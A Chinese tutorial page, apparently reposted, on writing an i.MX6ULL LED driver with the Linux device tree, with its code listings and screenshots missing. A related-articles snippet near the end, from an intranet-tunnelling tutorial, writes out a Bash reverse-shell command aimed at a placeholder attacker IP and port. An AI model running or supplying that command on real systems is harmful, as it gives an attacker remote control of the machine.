05_Linux设备树下的LED驱动

news2024/12/25 9:24:47

目录

设备树LED驱动原理

修改设备树文件

LED灯驱动程序编写

编写测试APP

运行测试


设备树LED驱动原理

驱动文件中定义有关寄存器物理地址,然后使用io_remap函数进行内存映射,得到对应的虚拟地址,最后操作寄存器对应的虚拟地址完成对GPIO的初始化。本实验使用设备树来向 Linux内核传递相关的寄存器物理地址,Linux驱动文件使用OF函数从设备树中获取所需的属性值,然后使用获取到的属性值来初始化相关的IO。本章实验还是比较简单的,本章实验重点内容如下:

1.在 imx6ull-alientek-emmc.dts 文件中创建相应的设备节点。

2.编写驱动程序(在第四十二章实验基础上完成),获取设备树中的相关属性值。

3.使用获取到的有关属性值来初始化LED所使用的GPIO

修改设备树文件

在根节点“/”下创建一个名为“alphaled”的子节点,打开imx6ull-alientek-emmc.dts文件,在根节点“/”最后面输入如下所示内容:

 第2、3行,属性#address-cells和#size-cells都为1,表示reg属性中起始地址占用一个字长(cell),地址长度也占用一个字长(cell)。

第4行,属性 compatbile设置alphaled节点兼容性为“atkalpha-led”。

第5行,属性status设置状态为"okay"。

第6-10行, reg属性,非常重要! reg属性设置了驱动里面所要使用的寄存器物理地址,比如第6 行的“0X020C406C 0X04”表示I.MX6ULL的CCM_CCGR1寄存器,其中寄存器首地址为0X020C406C,长度为4个字节。

设备树修改完成以后输入如下命令重新编译一下imx6ull-alientek-emmc.dts:

 编译完成以后得到imx6ull-alientek-emmc.dtb,"使用新的imx6ull-alientek-emmc.dtb启动. Linux内核。Linux启动成功以后进入到/proc/device-tree/目录中查看是否有"alphaled"这个节点,结果如图所示:

 可以进入到图中的alphaled目录中,查看一下都有哪些属性文件,结果如图所示:

 

LED灯驱动程序编写

 第46行,在设备结构体dtsled_dev中添加了成员变量nd, nd是device_node结构体类型指针,表示设备节点。如果我们要读取设备树某个节点的属性值,首先要先得到这个节点,一般在设备结构体中添加device_node指针变量来存放这个节点。

第160-166行,通过of_find_node_by_path函数得到alphaled节点,后续其他的OF函数要使用device_node.

第169-174行,通过of_find_property函数获取alphaled节点的compatible属性,返回值为property结构体类型指针变量, property的成员变量value表示属性值。

第177-182行,通过of_property_read_string函数获取alphaled节点的status属性值。

第185-194行,通过of_property_read_u32_array函数获取alphaled节点的reg属性所有值,并且将获取到的值都存放到 regdata 数组中。

第192行将获取到的reg属性值依次输出到终端上。

第199-203行,使用“古老”的ioremap 函数完成内存映射,将获取到的regdata数组中的寄存器物理地址转换为虚拟地址。

第205~209行,使用of_iomap函数一次性完成读取reg属性以及内存映射,of_iomap函数是设备树推荐使用的OF函数第205~209行,使用of_iomap函数一次性完成读取reg属性以及内存映射,of_iomap函数是设备树推荐使用的OF函数。

编写测试APP

编写测试APP,led驱动加载成功以后手动创建/dev/led节点,应用APP通过操作/dev/led文件来完成对LED设备的控制。向/dev/led文件写0表示关闭LED灯,写1表示打开LED灯.新建ledAppc文件,在里面输入如下内容:

 

 

 

运行测试

 驱动加载成功以后会在终端中输出一些信息,如图所示:

 从图可以看出,alpahled这个节点找到了,并且compatible属性值为“atkalpha-led”,status属性值为"okay", reg属性的值为"0X20C406C 0X4 0X20E0068 0X4 0X20E02F4 0X4 0X209C000 0X4 0X209C004 0X4”,这些都和我们设置的设备树一致。驱动加载成功以后就可以使用 ledApp软件来测试驱动是否工作正常,输入如下命令打开LED 灯:

 输入上述命令以后观察I.MX6U-ALPHA开发板上的红色LED灯是否点亮,如果点亮的话说明驱动工作正常。在输入如下命令关闭LED灯:

 输入上述命令以后观察I.MX6U-ALPHA开发板上的红色LED灯是否熄灭。如果要卸载驱动的话输入如下命令即可:

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/684018.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

操作系统——Windows 进程管理

一、实验题目 Windows 进程管理 二、实验目的 (1)学会使用 VC 编写基本的 Win32 Consol Application(控制台应用程序)。 (2)通过创建进程、观察正在运行的进程和终止进程的程序设计和调试操作,进一步熟…

UEditorPlus v3.2.0 兼容规则过滤,若干问题修复

UEditor 是由百度开发的所见即所得的开源富文本编辑器,基于 MIT 开源协议,该富文本编辑器帮助不少网站开发者解决富文本编辑器的难点。 UEditorPlus 是有 ModStart 团队基于 UEditor 二次开发的富文本编辑器,主要做了样式的定制,…

绩效管理怎么做?一文带你搞懂绩效管理!

在职场中,我们经常会听到“绩效管理”这个词汇。但是,你是否真正理解绩效管理的含义和意义呢? 现在很多企业的绩效管理都变味了,让员工觉得绩效就是想方设法扣工资、绩效就是控制人的手段、绩效不是激励而是威胁、绩效就是打分游…

41 # 编码的问题

常见的进制 10 进制:除表示正负的符号外,以 1~9 开头,由 0~9 组成。如 128,234,-278。2 进制:以 0b 开头,0b118 进制:以 0 或 0o开头,由 0~7 组成的数。如 0126, 050000…

【Redis】多级缓存之OpenResty:nginx查询Tomcat与Redis以及nginx本地缓存

目录 一、认识OpenResty 二、请求参数处理 三、查询Tomcat 四、Redis缓存预热 五、查询Redis缓存 六、nginx本地缓存 一、认识OpenResty OpenResty是一个基于nginx的高性能Web平台,他用于方便的搭建能够处理高并发、扩展性极高的动态Web应用、Web服务和动态网…

SuperMap GIS基础产品组件GIS FAQ集锦(3)

SuperMap GIS基础产品组件GIS FAQ集锦(3) 【Unity】Unity中如何将场景内容限制在屏幕中间1/3处? 【解决办法】1、新建两个相机,一个代表左边屏幕,一个代表右边屏幕 2、通过Viewport Rect设置相机显示在屏幕中的位置&a…

南卡OE Pro首销售罄,发烧友称其为开放式耳机旗舰标杆!

6月19日南卡官博放出消息,南卡旗下的开放式旗舰机型OE Pro首销售罄,开启预售,将在24日早上10点整再次现货发售,不难看出这款开放式耳机非常火爆,非常受欢迎,被广大发烧友们誉为开放式耳机的旗舰标杆&#x…

会 java 8 stream流就会大数据!

如果你会任意一门语言的stream流,没道理不会大数据开发。 俗话说男追女隔座山,女追男隔层纱。 如果说零基础学大数据,感觉前面是一座山,那么只要你会java或者任意一门语言的stream流,那大数据就只隔了一层纱。 本文以…

内网隧道代理技术(七)之Bash反弹shell

Bash反弹shell Bash介绍 Shell也称为终端或壳,是人与内核之间的翻译官,而Bash则是Linux中默认使用的Shell Bash 反弹Shell的命令如下: bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&1 bash -i >&/dev/tcp/攻击机_IP…

【博客676】VictoriaMetrics缓存限制之:布隆过滤器

VictoriaMetrics缓存限制之:布隆过滤器 1、场景 VictoriaMetrics的vmstorage组件接收上游传递过来的指标,在​​现实场景中,指标的数量级或者瞬态指标可能会非常可怕,如果不限制缓存的大小,就会存在由于缓存导致插入速…

模拟电路系列分享-运放的关键参数4

目录 概要 整体架构流程 技术名词解释 1.定义 2.优劣范围 3.理解 技术细节 1.压摆率 1.定义∶ 2.优劣范围 3.理解︰ 2.单位增益带宽 1.定义∶ 2.优劣范围︰ 3.理解∶ 小结 概要 提示:这里可以添加技术概要 例如: 实际运放与理想运放具有很多差别。理想…

jumpserver【基本使用教程】

目录 目录 【1】管理用户 【2】系统用户 【3】普通用户 【4】添加资产(可以添加的有:服务器、网络设备、数据库应用) 【5】权限划分 【6】验证(使用普通用户登录资产) 【7】查看是否有记录 【8】添加数据库资产…

2023全球智博会奏响AI产业发展的四重共振

2023年6月25日为期三天的第五届全球人工智能产品应用博览会(简称“全球智博会”)在苏州国际博览中心盛大启幕。金鸡湖畔汇聚院士专家、领军智囊、顶尖企业,为人工智能关键技术突破、产业化创新应用、科技产品研发落地、经济深度融合等方面提供…

解密EEMD分析:Rlibeemd包带你玩转信号分解和时间序列预测

一、简介 1.1 什么是EEMD? EEMD(Ensemble Empirical Mode Decomposition)是一种信号分解方法,它旨在分解非线性、非平稳或非白噪声的信号,以揭示复杂信号的局部特征和周期性成分。EEMD不同于传统的余弦变换、小波变换等线性变换…

按键控制蜂鸣器实验

目录 按键控制蜂鸣器实验 1、简介 2、实验任务 3、程序设计 3.1、顶层模块代码 3.2、按键消抖模块代码 3.3、蜂鸣器控制模块代码 4、仿真验证 5、板上下载验证 5.1、硬件设计 5.2、添加约束文件.xdc 5.3、板上下载验证 按键控制蜂鸣器实验 蜂鸣器(Buzze…

微机保护主程序框图原理

微机保护主程序框图如图2-5所示。 一、初始化 “初始化”是指保护装置在上电或按下复位键时首先执行的程序,它主要是对单片微机(CPU)及可编程扩展芯片的工作方式、参数的设置,以便在后面的程序中按预定方案工作。例如…

荨麻疹【指南共识】

慢性自发性荨麻疹达标治疗专家共识(2023) 参考文献:中华医学会皮肤性病学分会, 中国医师协会皮肤科医师分会. 慢性自发性荨麻疹达标治疗专家共识(2023)[J]. 中华皮肤科杂志,2023, e2…

在React+ts中集成高德地图(保姆级教程)

前往高德地图开发平台高德开放平台 | 高德地图API 一:申请高德key 去高德官网去创建一个属于自己的地图应用 (得到key和秘钥) 。 首先,我们要注册一个开发者账号,根据实际情况填写,身份写个人:…

LwIP系列(3):以太网帧、IP、TCP、UDP、IGMP、ICMP帧格式详解

前言 TCP/IP 本质上是软件协议,而LwIP也是对软件协议进行解析处理,所以我们有必要了解下以太网帧、IP、TCP、UDP、IGMP、ICMP帧格式,这样在代码中,才能有的放矢。 以太网帧框架 以太网帧是最底层的原始数据,帧框架如…

Linux用户密码管理

密码复杂度设置 之前写过一篇文章,通过编辑/etc/pam.d下的配置文件来信hi先密码复杂度设置。 这里介绍另一种方法,使用authconfig名来配置。 如果没有安装该软件,输入如下命令安装: yum install authconfig -y 设置方法如下: authconfi…